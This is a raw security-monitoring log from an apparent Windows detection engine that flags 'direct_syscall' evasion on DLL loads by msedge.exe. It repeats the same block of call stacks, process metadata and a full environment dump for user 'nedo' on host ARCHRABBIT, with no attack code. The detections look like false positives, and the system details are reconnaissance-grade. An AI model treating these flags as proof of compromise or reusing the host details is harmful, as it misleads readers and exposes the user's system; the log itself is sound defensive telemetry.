C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcd9624e62 C:\Windows\System32\wtsapi32.dll!WTSRegisterSessionNotification|0x7ffcd96272c8 C:\Windows\System32\wtsapi32.dll!WTSVirtualChannelOpen|0x7ffcd9624e10 C:\Windows\System32\wtsapi32.dll!WTSRegisterSessionNotification|0x7ffc8d45fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05288 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4183452 + Pid: 7364 + Tid: 16272 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5183753 +0100 CET + Params: base_address➜ 7ffcde510000, checksum➜ 4854751, default_address➜ 7ffcde510000, file_path➜ C:\Windows\System32\setupapi.dll, image_size➜ 4759552, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc9b682ffb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8e9afa4c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa953 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4183594 + Pid: 7364 + Tid: 16272 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5212165 +0100 CET + Params: base_address➜ 7ffcdb6e0000, checksum➜ 214883, default_address➜ 7ffcdb6e0000, file_path➜ C:\Windows\System32\devobj.dll, image_size➜ 184320, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffcde5287e2 C:\Windows\System32\setupapi.dll!pSetupConcatenatePaths|0x7ffcde55e331 C:\Windows\System32\setupapi.dll!SetupDiOpenClassRegKeyExW|0x7ffcde51d4f1 C:\Windows\System32\setupapi.dll!SetupDiCreateDeviceInfoListExW|0x7ffcde51c6fd C:\Windows\System32\setupapi.dll!SetupDiGetClassDevsExW|0x7ffcde51c494 C:\Windows\System32\setupapi.dll!SetupDiGetClassDevsW|0x7ffc8e9afa4c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa953 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4183816 + Pid: 7364 + Tid: 9724 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.526801 +0100 CET + Params: base_address➜ 7ffcd4df0000, checksum➜ 859508, default_address➜ 7ffcd4df0000, file_path➜ C:\Windows\System32\mscms.dll, image_size➜ 786432, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e 